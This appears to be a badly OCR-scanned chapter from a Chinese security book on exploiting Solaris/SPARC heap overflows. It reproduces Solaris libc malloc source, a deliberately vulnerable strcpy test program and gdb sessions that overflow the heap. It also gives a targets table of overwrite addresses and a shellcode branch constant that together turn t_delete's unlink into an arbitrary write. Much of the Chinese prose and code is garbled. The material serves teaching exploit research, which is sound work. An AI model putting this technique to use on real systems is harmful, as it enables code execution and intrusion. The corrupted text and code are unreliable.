* Get more core. Gaps in memory are noted as busy blocks.
*/

static TREE *
_morecore (size_t size)

TREE *tp;

size t n, offset;
char *addr;
size_t nsize;

/* compute new amount of memory to get */
tp = Bottom;

n = size + 2 * WORDSIZE;

addr = GETCORE(0) ;

if (addr == ERRCORE)
return (NULL);

/* need to pad size out so that addr is aligned */
if ((((size_t)addr) % ALIGN) != 0)
offset = ALIGN - (size_t)addr % ALIGN;
else
offset = 0;
#ifndef SEGMENTED

/* if not segmented memory, what we need may be smaller */
if (addr

n -= SIZE(tp);

#endif

/* get a multiple of CORESIZE */
n = ((n - 1) / CORESIZE + 1) * CORESIZE;
nsize = n + offset;

if (nsize

ULONG_MAX)
return (NULL);

if (nsize <= LONG_MAX) (
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ERRCORE)

if (GETCORE(nsize)
return (NULL);
} else {
intptr_t delta;
I~
« the value required is too big for GETCORE() to deal with
* in one go, so use GETCORE() at most 2 times instead.
*
delta = LONG_MAX;
while (delta > 0) {
if (GETCORE(delta) == ERRCORE) {
if (addr != GETCORE(0))
(void) GETCORE (-LONG_MAX);
return (NULL);

}
nsize -= LONG_MAX;
delta = nsize;

/* contiguous memory */
if (addr == Baddr) {
ASSERT (offset == 0);
if (tp) {
addr = (char *)tp;
n += SIZE(tp) + 2 * WORDSIZE;
} else {
addr = Baddr - WORDSIZE;
n += WORDSIZE;

offset;
/* new bottom address */
Baddr = addr + n;

/* new bottom block */
tp = (TREE *)addr;

SIZE(tp) = n - 2 * WORDSIZE
ASSERT ((SIZE(tp) % ALIGN)

/* reserved the last word to head any noncontiguous memory */
SETBITO (SIZE (NEXT(tp)))

/* non-contiguous memory, free old bottom block */
if (Bottom && Bottom != tp) {

SETBITO (SIZE (Bottom));

realfree (DATA (Bottom)) ;
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return (tp);

/>

* Tree rotation functions (BU: bottom-up, TD: top-down)

*/

#define

#define

#define

#define

#define

#define

LEFT1(x, ¥) \
if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\
if ((PARENT(y) = PARENT(x)) != NULL)\
if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;\
else RIGHT(PARENT(y)) = yi\

LEFT(y) = x; PARENT(x) = y

RIGHTL(x, ¥) \
if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\
if ((PARENT(y) = PARENT(x)) != NULL)\
if (LEFT(PARENT (x)) == x) LEFT(PARENT(Y)) = yi\
else RIGHT(PARENT(y)) = yi\
RIGHT(y) = x; PARENT(x) =y

BULEFT2(x, y, z) \
if ((RIGHT(x) = LEFT(y)) NULL) PARENT(RIGHT(x)) = x;\
if ((RIGHT(y) = LEFT(z)) NULL) PARENT(RIGHT(y)) = ¥;\

if ((PARENT(z) = PARENT(x)) != NULL)\
if (LEFT(PARENT(x)) x) LEFT(PARENT(z)) = z;\
else RIGHT(PARENT(z)) = z;\ N
LEFT(z) = y; PARENT(y) = z; LEFT(y) = x; PARENT(x) =y

BURIGHTZ (x, Yy, 2) \
if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = X;\
if ((LEFT(y) = RIGHT(z)) NULL) PARENT(LEFT(y)) = yi\
if ((PARENT(z) = PARENT(x)) != NULL)\
if (LEPT(PARENT (x)) x) LEFT(PARENT(z)) = z;\
else RIGHT (PARENT(z)) = z;\

RIGHT(z) = y; PARENT(y) = z; RIGHT(y) = x; PARENT(x) =y

TDLEFT2 (X, ¥, 2) \
if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = vi\
if ((PARENT(z) = PARENT(x)) != NULL)\
if (LEFT(PARENT (x)) x) LEFT(PARENT(z)) = z;\
else RIGHT(PARENT(z)) = z;\
PARENT (x) = z; LEFT(z)
TDRIGHTZ (X, ¥, 2) \
if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = vi\
if ((PARENT(z) = PARENT(x)) != NULL)\
if (LEFT(PARENT(x)) x) LEFT(PARENT(z)) = z;\
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else RIGHT(PARENT(z)) = z;\
PARENT (x) = z; RIGHT(z) = x;

I

*+ Delete a tree element

*/

static void
t_delete(TREE *op)
{
TREE *tp, *sp, *gp;

/* if this is a non-tree node */
if (ISNOTREE(op)) {
tp = LINKBAK(op);

if ((sp = LINKFOR(op)) != NULL)
LINKBAK(sp) = tp;

LINKFOR(tp) = sp;

return;

/* make op the root of the tree */
if (PARENT(op))
t_splay(op) ;

/* if this is the start of a list */
if ((tp = LINKFOR(op)) NULL) {
PARENT (tp) = NULL;
if ((sp = LEFT(op))
PARENT (sp) = tp;
LEFT (tp) = sp;
if ((sp = RIGHT(op))
PARENT (sp) = tp;
RIGHT(tp) = sp;

NULL)

NULL)

Root = tp;
return;

/* if op has a non-null left subtree */
if ((tp = LEFT(op)) != NULL)
PARENT (tp) = NULL;

if (RIGHT(op)) {
/* make the right-end of the left subtree its root
while ((sp = RIGHT(tp)) != NULL) {
if ((gp = RIGHT(sp))
TDLEFT2 (tp, SP,
tp = gp;
) else (




10.6 Solaris/SPARC k- #43ftd t

203

LEFTL(tp,

sp) i
tp = sp;

/* hook the right subtree of op to the above elt */
RIGHT(tp) = RIGHT(op);
PARENT (RIGHT (tp) )

= tpi
)
} else if ((tp =

RIGHT (0p))
= NULL;

NULL) /* no left subtree */
PARENT (tp)

Root = tp;

/>

* Bottom up splaying (simple version).

* The basic idea is to roughly cut in half the
* path from Root to tp and make tp the new root.
./

static void
t_splay (TREE *tp)
t

TREE *pp, *gpi

/* iterate until tp is the root */
while ((pp = PARENT(tp)) != NULL) {
/* grandparent of tp */

gp = PARENT (pp);
/* x is a left child */
if (LEFT(pp) tp) {
if (gp && LEFT(gp)

pp) {
BURIGHT2 (gp, PP, tP);
) else {

RIGHTL(pp, tp);
}

} else {
ASSERT (RIGHT (pp)
if (gp && RIGHT(gp)

BULEFT2 (9P,
)} else (

PP, tP);

LEFTL(pp, tp)i
}
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I*
* free().
* Performs a delayed free of the block pointed to
. by old. The pointer to old is saved on a list, flist,
. until the next malloc or realloc. At that time, all the
* blocks pointed to in flist are actually freed via
. realfree(). This allows the contents of free blocks to
. remain undisturbed until the next malloc or realloc.
*/
void
free(void *old)
«
(void) _mutex_lock(&_malloc_lock);
_free_unlocked(old) ;
(void) _mutex_unlock(&_malloc_lock);
}
void

_free_unlocked(void *old)
{

NULL)
return;

I
* Make sure the same data block is not freed twice.
+ 3 cases are checked. It returns immediately if either

* one of the conditions is true.
. 1. Last freed.
. 2. Not in use or freed already.

. 3. In the free list.

*/

if (old == Lfree)
return;

if (1ISBITO(SIZE(BLOCK(old))))
return;

for (i = 0; i < freeidx; it+)
if flist(i))

return;
if (flist[freeidx] != NULL)

realfree(flist(freeidx]);
flist(freeidx] = Lfree = old;
freeidx = (freeidx + 1) & FREEMASK; /* one forward */

I
* cleanfree() frees all the blocks pointed to be flist.
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realloc() should work if it is called with a pointer

to a block that was freed since the last call to malloc() or
* realloc(). If cleanfree() is called from realloc(), ptr

is set to the old block and that block should not be

freed since it is actually being reallocated.

static void
cleanfree(void *ptr)
{

char **£lp;

£lp = (char **)&(flist[freeidx]);
for (;;) {

(char **)&(£list(0]))
(char **)&(flist[FREESIZE]);
NULL)

if (*flp != ptr)
realfree(*flp);
*£lp = NULL;
}
freeidx = 0;
Lfree = NULL;

”~ Copyright (c) 1988 AT&T */

”~ All Rights Reserved */

” THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
™ The copyright notice above does not evidence any */
Al actual or intended publication of such source code. ./
I

* Copyright (c) 1996-1997 by Sun Microsystems, Inc.
* All rights reserved.

*/
#pragma ident "@(#)mallint.h 1.11 97/12/02 SMI* /)
svra.0 1.2 */

#include <sys/isa_defs.h>
#include <stdlib.h>
#include <memory.h>
#include <thread.h>
#include <synch.h>
#include <mtlib.h>

/* debugging macros */
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#ifdef DEBUG

#define ASSERT (p) ((void) ((p) || (abort(), 0)))
#define COUNT (n) ((void) n++)

static int nmalloc, nrealloc, nfree;

#else

#define ASSERT (p) ((void)0)

#define COUNT (n) ((void)0)

#endif /* DEBUG */

/* function to copy data from one area to another */
#define MEMCOPY (to, fr, n) ((void) memcpy(to, fr, m))

/* for conveniences */
#ifndef NULL

#define NULL (0)

#endif

#define reg register

#define WORDSIZE (sizeof (WORD))

#define MINSIZE (sizeof (TREE) - sizeof (WORD))

#define ROUND (s) if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE))
#ifdef DEBUG32

I

* The following definitions ease debugging
* on a machine in which sizeof (pointer)
* These definitions are not portable.

* Alignment (ALIGN) changed to 8 for SPARC ldd/std.
*/

sizeof (int) =:

#define ALIGN 8
typedef int WORD;
typedef struct _t_ {

size_t tos;

struct _t_ *t_p;

struct _t_ " l;

struct _t_ *tor;

struct _t_ *t_n;

struct _t_ *t_d;
} TREE;
#define SIZE (b) ((b)->t_s)
#define AFTER (b) ((b)->t_p)
#define PARENT (b) ((b)->t_p)
#define LEFT(b) ((b)->t_1)
#define RIGHT (b) ((b)->t_r)
#define LINKFOR (b) ((b)->t_n)
#define LINKBAK (b) ((p)->t_p)

#else /* \DEBUG32 */
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I
* all of our allocations will be aligned on the least multiple of 4,
* at least, so the two low order bits are guaranteed to be available.
*/

#ifdef _LP64

#define ALIGN 16
#else

#define ALIGN 8
#endif

/* the proto-word; size must be ALIGN bytes */
typedef union _w_ {

size_t woi; /* an unsigned int */
struct _t_ *w_p; /* a pointer */
char w_a[ALIGN] ; /* to force size */

} WORD;

/* structure of a node in the free tree */
typedef struct _t_

WORD /* size of this element */

WORD /* parent node */

WORD /* left child */

WORD /* right child */

WORD /* next in link list */

WORD /* dummy to reserve space for self-pointer */
} TREE;

/* usable # of bytes in the block */
#define SIZE(b) (((b)->t_s).w_i)

/* free tree pointers */

#define PARENT (b) (((b)->t_p) .w_p)

#define LEFT(b) (((b)->t_1).w_p)

#define RIGHT (b) (((b)->t_r) .w_p)

/* forward link in lists of small blocks */ .
#define AFTER (b) (((b)->t_p) .w_p)

/* forward and backward links for lists in the tree */

#define LINKFOR (b) (((b)~>t_n) .w_p)
#define LINKBAK (b) (((b)=>t_p) .w_p)
#endif /* DEBUG32 */

/* set/test indicator if a block is in the tree or in a list */
#define SETNOTREE (b) (LEFT(b) = (TREE *)(-1))
#define ISNOTREE (b) (LEFT (b) (TREE *) (-1))

/* functions to get information on a block */
#define DATA (b) (((char *)(b)) + WORDSIZE)
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#define BLOCK (d) ((TREE *) (((char *)(d)) - WORDSIZE))
#define SELFP (b) ((TREE **) (((char *) (b)) + SIZE(b)))
#define LaST (b) (*((TREE **) (((char *) (b)) - WORDSIZE)))
#define NEXT (b) ((TREE *) (((char =)(b)) + SIZE(b) +
WORDSTZE) )

#define BOTTOM (b) ((DATA(b) + SIZE(b) + WORDSIZE) == Baddr)

/* functions to set and test the lowest two bits of a word */

#define BITO (01) /* ...001 %/

#define BITL (02) /% ...010 */

#define BITSO1 (03) /% L..011 %/

#define ISBITO (w) ((w) & BITO) /* 1s busy? */

#define ISBITI (w) ((w) & BIT1) /* Is the preceding free? */
#define SETBITO (w) BITO) /* Block is busy */
#define SETBITL (w) = BIT1) /* The preceding is free */
#define CLRBITO (w) ~BITO) /* Clean bit0 */

#define CLRBIT1 (w) ~BIT1) /* Clean bitl */

#define SETBITSO01 (w) ((w) |= BITS01) /* sSet bits 0 & 1 */
#define CLRBITSO1 (w) ((w) &= ~BITSO01) /* Clean bits 0 & 1 */
#define SETOLDOL(n, o) ((n) |= (BITSO1 & (0)))

/* system call to get more core */

#define GETCORE sbrk

#define ERRCORE ((void *)(-1))
#define CORESIZE (1024*ALIGN)

extern void *GETCORE (size_t);
extern void _free_unlocked (void *);

#ifdef _REENTRANT
extern mutex_t _malloc_lock;

#endif /* _REENTRANT *+/

TREES: I K2 A4 TCHHE SOworD, 41 F iR«
/* the proto-word; size must be ALIGN bytes */
typedef union _w_ (

size_t vi_i; /* an unsigned int */
struct *w_p; /* a pointer */
char w_a[ALIGN] ; /* to force size */

X Flibek326LA, ALTGNEESE X 48, MifTuniontt A/ H8B.
XA R R R BE S X s
typedef struct _t_ {
D t_s /* size of this element */

WORD tp; /* parent node */
/* left child */
WORD tr; /* right child */
WORD t_n; /* next in link list */
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WORD ta; /* Gummy to reserve space for self-pointer */
) TREE;
XA 6 MWORDALAL, FEA8F N o IHEMSKIFAEA PRI (REEARLIE) KL,
KRR

10.7 EXBHMESE (t_delete)

Solaris |- #E i A SERAR T 1 R T RAIFI . S HRTRISMBIL R SBINEF T —
AMRESBRIR . LR TEABLEEBIRORE, BEEARF, B%SBHATshellcode

BWHSBF—MROK M. WRASENRMATE, SERHFRHENBEM
BRAT AR XMBHREFE, BARBORRATLCEETY, WoLBLFRHHE
BRMEAT R T AZERE A SRR B0 B TREEGEHD . XK DN S MBI R —
R,

SOy IR 2 M R AR AR B _delete () WM. Phrack #3573 4 % Once Upon a
freeQI3CHE (200148 A 11 H ) B — KB TIXA 7k, FHHLHEH Hnalloc . cimallint . h:

fErealfree() H:

/* see if coalescing with next block is warranted */

np = NEXT(tp);

if (!ISBITO(SIZE(np))) {

if (np != Bottom)
t_delete(np);

B¥t_delete():

m

* Delete a tree element

*

static void

t_delete(TREE *op)

{
TREE *tp, *sp, *gp;

/* if this is a non-tree node */
if (ISNOTREE(op)) (
tp = LINKBAK(op);
if ((sp = LINKFOR(op)) != NULL)
LINKBAK(sp) = tp;
LINKFOR(tp) = sp;

return;
)

FRMBEE ST

#define SIZE (b) (((B)->t_s) .w_i)

#define PARENT (b) (((b)->t_p) .w.p)

#define LEFT (b) (((b)->t_1) .w_p)

#define RIGHT (b) (((b)=>t_x) .w_p)
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#define LINKFOR (b) ({((b)->t_n) .u_p)
#define LINKBAK (b) (((b)->t_p) .w_p)
#define ISNOTREE (b) (LEFT(b) == (TREE *) (1))

0 EBARFPTRTREE op#h HIBfEIB4 ¢_delete (). DhiHImILHs A0S I 951 L Mop.
HnSRTSNOTREE () W EL, KM HITREEZ Hop RGP AT coRlsp. I ELHEHH R TREELS ML,
I ASERBAEFTES. G F BRSO B A TREEZ M (N84T

LINKFORE 5| FITREES I Bt nFB (LT 454N IRH32BAL), MILINkBAKE S e _pF
BT A RBSBAL) . tSRTREESEH e _1 ¥ B (i T4 H R 16BAL) £-1, WIsNOTREE
HH.

LHESHEETTAA LA, B4 T, AEARMARLREL TR,

(1) WRTREE opffit_1 (RFHEMAMBI6BL) FERET-1, %ETF 5.

(2) TREEE I LINKBAKE ) S IRE o, MopBi e pF B (T4 M RBSBAL).

(3) TREEE I LINKFORE M Mo, H6 MopiZSe_nF B (BLF45H M RE32BAE).

(4) ZriNkeakilspific_p 7B (B T4HARBSBLL) BhEE tp.

(5) BLINkBAKIE tpifit_nFB (B F4HMARB32BA) B3k sp.

ERHMIRE, SRONORRABN, THRIBUCEMBENMER ML, TEHEREX
FEMBLE IR XA RSB T AR R T B 2 — AN B - BESERIX I TREES I I
109577

#10-9 EEREREMREELH

FF FF FF F8 AA AA AA AA TP TP TP TP AA AA AA AA
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LT M TREEMI A4 F B oM E B E Blspr8 ¥ WAL, splfIfEBE Flep+327¥ikk. W, sp
T AESR 1 B AR -7 7154k, eonT 3R 1740 Avop sledMishellcodelfiit /7. 24#14Tt_delete
WIRAREIRS, 5 4R [ shellcodeft) cof S5 R ¥t AT, shellcode B 32BAE ALK #splt)
s .

FF FF FF FRRGEHI I6BAR MR -1, WEIRHIR, XA ARM N —#SY. FFFFFF
FOIRB BRI, B T BIFEFY, EE MBI FERR N E T, AT, M55
SRR B AW, T UL SRR B/ . RS — AR, X MRIEEREAF,
WAGEE A HTBRAMGT—NREIE, B A BIZBIN R . AATORIF AT UG
HiF5.

10.7.1  FRAEHE R A PR

RANLERT TSR F) T non-tree/ B3t tH LI 38— AN shellcode B AT BUAIRES &b X 4BH
tErectRFIL R AP BAIN T o W4T HOMR PR AN AL o 2 HUTBL 9 52 S 1 43 2 A AL PR B NO P
Feo X AP RARAE R B S T 7= A (R A, AR AF i BL AR R 4k ST shellcode.
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WRATAT e, D% Eshellcode BT I 256 BT Y, 7EHERstH BT LLR FRIMA 48
ST . TR AT 0xa0aF Y, BESHEFTMMBE. XAKMBEER LN T8
FFREFAT, AR Rshellcodett A LML 3 747, ARA R RIS BIR D BREEPE 5

#define BRANCH_AHEAD *\x10\x80\x01\x01"

TERE, MRS ER EGR I, TREES MM sp R AR RESBAL . R
HE e p A R A IFIRL BIR32B AL, 3500 SO0 [l 8B AL ML A R A AR 194
H5. E, reckilijmpl $i7 + 8, 3g0RMMIRS. FEEIRARN NN, B
MBI B M IN8BAL (4BMI Feall, 54MBHTERM). iR B4 AR 8BAL K
LR, AR RERATIIRS, BRERTIRME. MURIRES shellcodefE AT32BALA
L — AR 224BRIIME, T AKH VRIS HABOR bk .

TEREHENWI T, ESREHETIAGHARBTRMRAR, MEREE. SESHHEF
HER RS L AR T B AT AL . SRS Bk, B Mkt R M RAT
BRFEEXIR, M SBEREHM . B EHORTREARTEH, KRR TIEMlibe A Kt
FRIRTREYE, DA 2 ik S A TE Al 2 16 9 R B 9 56 B4R 2E AR o

T8 A Solaris HE ST T ) 79 Sh— A BLGIAL 00 JU7E BERIR B R MR I 2 ) T8 18 Fimalloc BR
realloc. HMtree () RIBPIRAZRFIFRS, WX EHATF S MRILNALEE, HPBAFHIR
i, {€Mrealfree () WIHMRLHEN . XEmallocHirealloc Glifcleantree) KJLFATLL
SEHITERR. IBUK R AR, LS KA free ) BEIIER BRI MY, ZWHIRR

W RFIRRIE . fEREHRIHIRUF R, nal LocRireallocW# LIS HAHA, A AA AKEY
WU AT, (ESCEHR T, AR R SE AT s, B, 7EinallocHreallock/t
ARt

T M LA 3%, SS PR, AERIL T Oxer, % T TSNOTREE () 1L,
AT, MBIAER A2 LT ARG L DR AR, T AR
—HAIIt_delete () Kt_splay ) IR BITAL NS B AT REN. K2R Brres
Gl AR LR — A, TR BT A 0 ORI I ™ AR 50
Mok b

10.7.2 BEwEHR

B WAE AR AL TRABI AE /) AT RIS A UL 1, AT, Hiti b T se XA s,
A RUH BT 4.

BUS AR EARAEMIRE PV S 88 B vTAT I, #5HRTE R i e MSLH TR MR F. rd
175 R B4 it B /DAL AT i SBURMBERI AT 26280k,  SBCENIERE R AL 5
AR, B AR K, SRR T AR, RSh AT R R A T RER

5 3LABIF £ A1, Solaris/SPARCI#Procedure Linkage Table (PLT) {RF3 AR £ #5251 Fi Global
Offset Table (GOT) Hfif. 4%, MEERBK, BREHREGEMRLIREE. —BINE5IH
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[EMSRE (lazy binding) “7EELRISHAENT, HAMESIFIMARITIE, PLTREBAIMGL, MBSHE
S Blsg1, AJTEBRE T R LEEGE VFFISPARCIE S BUEPLT, (BEHAHE
i B AT 424 . B TREESS M () e sp I SR T B B Bl 42— %38 Fshellcode 3 BB
Eik: CURIREE: R AR R R e S e T

#RTT, SolarisfIfF BT F¥F £ A FIMIBR AR YEGDBE FUES th (¥ 1 FEBRER ST T
MNEEHRMEIL . HAEBAR L A Solaris ) 2236 LM, Bl AN KIERKRATIR
RARHBER . Bl libEK B % VR $inetex_lockUT AR R 2MIT. T MbERY
i, mallocH freedd $ £ 3r B U A IR A8 2 2B . XN B MV Fllibelf) . datalX B FR N
ti_jmp_tablef¥iituht, VA EABAMRHIRE .

F3—ANAT e P 7 258 f exci € () B ERBCIRAT BOAM . 76_exithandle ¥R,
MFR A static_memlibi . datal B P i P 77 K 58 7 4R R R B . XA R SR EHE H T 1)
HexitBMA K £ini O BIFL, MTIITcleanupfrd, HEERBEHE, MEREexit ELHITIER
ARF BOXPER . MXDEAIN . 38K liboFI 3 fhSolaris/ B BMARED, MHHUTATRANFIHAL TR
Bl

1. SR

IRIRGRALT L RIS TN AF TR IRE R . KB JO LB AT MR R PRI 5 ik
B, Solaristh APISh. JEEHRIBHB, JLFBREHE, B, EEE RSB EBE AT
PRI R IUERIR IR, A4 DI K RH.

7E_malloc_unlockedF5 i FAFAT:

/* if found none fitted in the tree */
if (1sp) (
if (Bottom && size <= SIZE(Bottom)) {
sp = Bottom;

/* if the leftover is enough for a new free piece */
if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) (
n -= WORDSIZE;
SIZE(sp) = size;
tp = NEXT(sp);
SIZE(tp) = n|BITO;
realfree (DATA(tp));

TERXAGIR, MR GRS IR, AT LR Rireal free () VAL TREBHRERE

@ & (lazy binding) 774 PEfE, DDA W7 0
. Rk, AHHERGI. D, XA ERMBATE A K,
P RS AR S 2R T AT 5, T RO S LML S, IR R R R A I B AR
VS, HEERBRLARY. WRENER X, KRR RLERITRAT IR BN R Tt
FVRRFE R S AT LT R 0 B (R, VE ] 1, ikEhE
SER B AL FAF YA B X R, ——
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il bRk sl el

ERMTRRPIREE, soR SRR MERRESR. & TEFILAE, #dHRBR
BI85, FRepf EMRIAN AN, EXAHIF B, R BRR 0 SO, WEworDsTZE
FFARHAA . WIFEFMILERB (tp) Lififirealfree(), toflIENAM. EXE, HWE
HREIH R _delete () M IEIER .

2. NREAL

S FRiImal lockh BB/ f248B, R RFFTREES HIFT 4 70 GXALHE T Sk AN, Solaris
HESEAARATHTH M Ima1 LocHi RERA KSR, T HALA AL B NR . FE /N F40BHY)
malloc () iR MR EE 5 KM R = A BB —HE . Xl itmalloc. c W HI_smallocHi$(
KA, XBACTELLE “ EEN” EA8. 16, 24532BIIER .

_smallochR BUMACAH R K/ A ZE ORI AL /dmalloci SR o IXBEHBE L — M ERE, 4
SR EE MR, BFEIBERRKE. H— AN IR, EHF AL ERE, SURS
TREHEE LRI IR EER B . libedir — MO EERLMHEENK . BYIXERFRETE
WA, FTUlh TARRALE NN BT, BEA GRS,

/ImallocH ity 4 N 10-105775 «

#10-10 /JmallociRiEH
FAA (8B) F A (8B) JHF %3 (8B, 16B. 24B#k32B)

PR AN KR RN AR SRS (KB FBUNART, BT AT AR KR s 5
mallocREGAN (KEE) FBle IXHTECHRBINAEE LT EF KPR, I gARAE R

/ImallocH i) B I th AT T HABFT OB kD R T, RATREA Bt
FEHIRBERBIARE ORI . MABRIT, EMWTEIEREL, SR LS5E Sk
HRRATRE TR B AR TR B R & BRIX R TG . AT RERO TS, SRl FI B 5 X8
WHEHMIAMRS R, BHSHEREE A PrallochERE. BB EHEXMEREN
nextffiét, A fiEflimalloc ()& E— MG AFAERALE MR . Bibt AR FBBESE
malloc ()RENRHEEF, HRHBBIRARIRE Mt . 7T LARI AT IX — AU HERE e E 4B B,
TR 57— 6 A T 3 4 10
10.8 Hftt 5HEXRR

SEAT SCADF R HE R LA BT o T IS4 e IO IR, IR ) IS REREAR E AR IR
IATHE
10.8.1 off-by-one it

ZAUF KRoff-by-onedds Hi AN, Solaris/SPARC L f3fEoff-by-oneds H th 1k AERLAR, EER
B4 AT F R . off-by-onefEE F5— MRS M43 F I MRt R B B (K e dEdE . BB
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KAMBFHRFERF LS, §-MRANEF AL EF LY. HrE GTRERAE
MERH R B RN B . BRI, BB RIERRA, B
HBERREGRNIERAAD, URRERERIBALRI T — MR —RITH, BRI
AR FAER, JLEARTRE.

10.8.2 RBHURER

TEHAEAEOL T, Solaris iy~ BRI W] ABKREAR I, #RT0, BAA7E_free unlocked()
BT LA, BARHLRWDT . PR A R RRBORIEN, ERENE
Bt ) XA AT

S MR B R BRI SR R IRT — MR IR (Lfree). BJE, BYAHRRKM
REGHK, UE R (RARERNERIRIEED. BEMRERFRRAR
B3 YRR, K R IR A BB B . R SR A T, MR
THZRIIR, Hththrealfree().

S T R R TR, AL S — RS — ORI IR (R A B B B 5 B U o X R
#mallocHireallocilMIMLR, M MABELLR LUK, FBIIRN —BIBRIF . 5
~ YRR BBUA S IR A RART — SR R AR, DUEBUA MR e RO SR 1] XA R
IS A ima L Loc FEAMAC, ARJG BB & FEMIRISUR IR . XIS, RBRA/MGIERIRE
W LIGE free () WM MR A, 45— WRBUIRAZ AN, E¥RRA  BH0EE, NS
BUERNAFRS . BARRFTEX IR BOR BT A AT i, {H7ESolaris (3 SCBL L BEAR — VORI
WRRAT TR .

10.8.3 EEBKFR

AERCRE BRI (R U VPO 3 B 48 £ree () ML MIARIS TR . KT RNKA 1R
FFHTRM TR M GRIHAR, 2 SRR BT, SR RFE “union mismanagement” 3
AP AB R — R AU EHR U ) R R BRI, K DX AN

TR H ARG X A, ARRERBONT AR M 28 tH AR M 2. BARRIM t_gelete
SRR F ARG A I, BRETI AR ARE . JATT, 0 T SR FERCR RO
Tt A BRI AR SRAE N E T BOAL T . 0 SRR I R D XS SR A F BRI 3
OB, X e SR A .

SEIE (¥ J SolarisHE ST BN LMY £ree () MMTHATARIRET R . XS REEATREAT T4, 4R, 1
AARRICA AP, AR SR BT AT HE SRR 1R AT LA E4RF- AT
RLE, FFHEEH RS free (), A, NZAUR —PIAERSI. HTEN RE
TESR F 0 TE 3 AR S E ORI, TISSOHS 35075 05 AT R o

10.9 HE#@EHBIF
FHRCS G T U AT RS UL 5 T HEMR . b T INGRAIRTEE S 1E BT i o8 el (e
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Ry BRAOVRE—AEHN B B

kit kel
EAFRAEE B, ERABAE R —BARSHB. RATHRU IS M secuial FATIC
R, SR TGRS SR AR T SRR iR . RS0 R .
int vulnerable_function(char *userinput) {
char *buf = malloc(64);
char *buf2 = malloc(64);
strepy (buf, userinput) ;
free(buf2);
buf2 = malloc(64);
return 1;
)

RO buf T AT BRI 75 H ST 060 F (B i B LA R AN DI B K oug2. RUE, SRAE
PEbuf2 BRI, J35h, Mimalloc il AIKRIFTEMFIR. RIVEHHRBORE, AT LA
BRGNP, RSN E . RITEE 54—, RRAREHE
HRFUIIAE R exie () ViR BRI — M0 A RE FEEH A

AR . X MEE X E6ABY, B, [ ERA6SBI AT BRI AT LA

&

B
# gdb . /heap_overflow
GNU gab 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you

Are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type *show warranty® for details.

This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols found)...

(gdb) r ‘perl -e 'print 'A' x 64"

Starting program: /test/./heap_overflow ‘perl -e 'print 'A’' x 64°°
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...

Program exited normally.

(gab) r ‘perl -e "print 'A' x 65"

Starting program: /test/./heap_overflow ‘perl -e *print 'A' x 65"
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...

Program received signal SIGSEGV, Segmentation fault.

0xf£2c2344 in realfree () from /usr/lib/libc.so.l

(gdb) x/i $pc

0x££2c2344 <realfree+116>: 1d [ 815+ 8 1, %ol

(gdb) print/x $15
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$1 = 0x41020ac0

TE6SBAL, BA/NEEARTIHA (RETRN0oxa1) BiIR, FHrealfree() RAMM. W
SEBRATTHT LB F M — BB S SR/ REARARED,  7ERC/D 2SR R — M b I TREESE
o AP E T H G BAE G HRRE:

struct {

char *name;

int buffer_length;

unsigned long overwrite location;
unsigned long overwrite_value;
int align;

} targets[] = {

(
"Solaris 9 Ultra-sparc*,
64,
Ox££b£1233,
Ox£fbffccd,
0

¥

XM TF R, overwrite_locationEKE M NAFHilt, overwrite_valueffIKiES
B, XA BR O EAR 3 H i TREESE M, overwrite_locationZéfUF45#F Msp, T
overwrite_valuefi/Ntp. FUHREAR, BUREMMA M THATIOI, BAFARTDHIT
shellcodefR7FTEFAREAL L Lo FRUAJE , MRS HIAS LLAB R 57 Rt B 4 fovervrite_location.
2455 (i) A5k K 22 S BN i BusHE, O T XA, BATATLAEIEFRYF R A
T, HAEERLPTR B R AT 0T 5 RISAT BRI H 4 th T 5 P 2

Program received signal SIGBUS, Bus error.

0xf£2c272¢ in t_delete () from /usr/lib/libc.so.l

(gdb) x/i $pc

0xff2c272¢c <t_delete+52>: st %00, [ %ol + 8 )

(gdb) print/x $ol

$1 = Oxffbf122b

(gdb) print/x $00

$2 = Oxffbffccd

(gdb)

WA SR A IEHIR I WAL, BRI sTeBUST B S BURF L. EMRE B
MIABRE, HEIM 9Pl (ox£ep122b+8) M Noverwrite locationffIfi, XMEHE MM
WA TR . WL, & frshelloode I i 4 H AR M MM R T .

FERR TR W BA PR R BLIRAT] shellcode,  3X MK 53 774 F 4 FF 1 3B

(gdb)

0iffbffa43: 0x01108001 0x01108001 0%01108001 0x01108001
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OxEEbEfass: 0x01108001 0x01108001 0x01108001 0x01108001

Ox£fbEfass: 0x01108001 0x01108001 0x01108001 0x01108001

9 THREVEFEE ], RATEHBAE S LRI SR, TR B R K MNBOE,
RFROAR T AL SR B Lo, RATHHE BARSAS B3 Fr A VIR3B, JFEYORITRN. —H5%
RIKERAR, LB B R TR [T A R 2 5 — 2.

(gdb) bt

#0 0x££2c272c in t_delete () from /usr/lib/libc.so.l

#1 Ox££2c2370 in realfree () from /usr/lib/libc.so.l

#2 Oxffzclebd in _malloc_unlocked () from /usr/lib/libc.so.l

#3 Oxffaclc2c in malloc () from /usr/lib/libc.so.l

#4 0x107bc in main ()

#5 0x10758 in frame Gumny ()

backtrace i & X ARSI B RATESR . HE, RATRALA BIBSXEMZL FRIRI
R RCB IR MIRABT, WTARNSE. WAL L, BB FRNEN
AT BEBRIF AR, AL, S R BARAIE [

(gdb) i frame 4

Stack frame at OxffbEF83I8:

b = 0x107bc in main; saved pc 0x10758

(FRAMELESS), called by frame at OxffbffBb0, caller of frame at Oxffbff7cO

Arglist at Oxffbff838, args:

Locals at OxfEbEE838,

(gdb) x/16x OxEEbEFS38

OxEEDEEBIE: 0x0000000¢ 0x££33¢598 0x00000000

0x00000001

Dx;f]f$6c4:
OxffbffB58: 0x00000002 Ox££fbf£914 OxfEbEEI20
0x00020a34
OxfELEEBEB:
0x%0001059¢
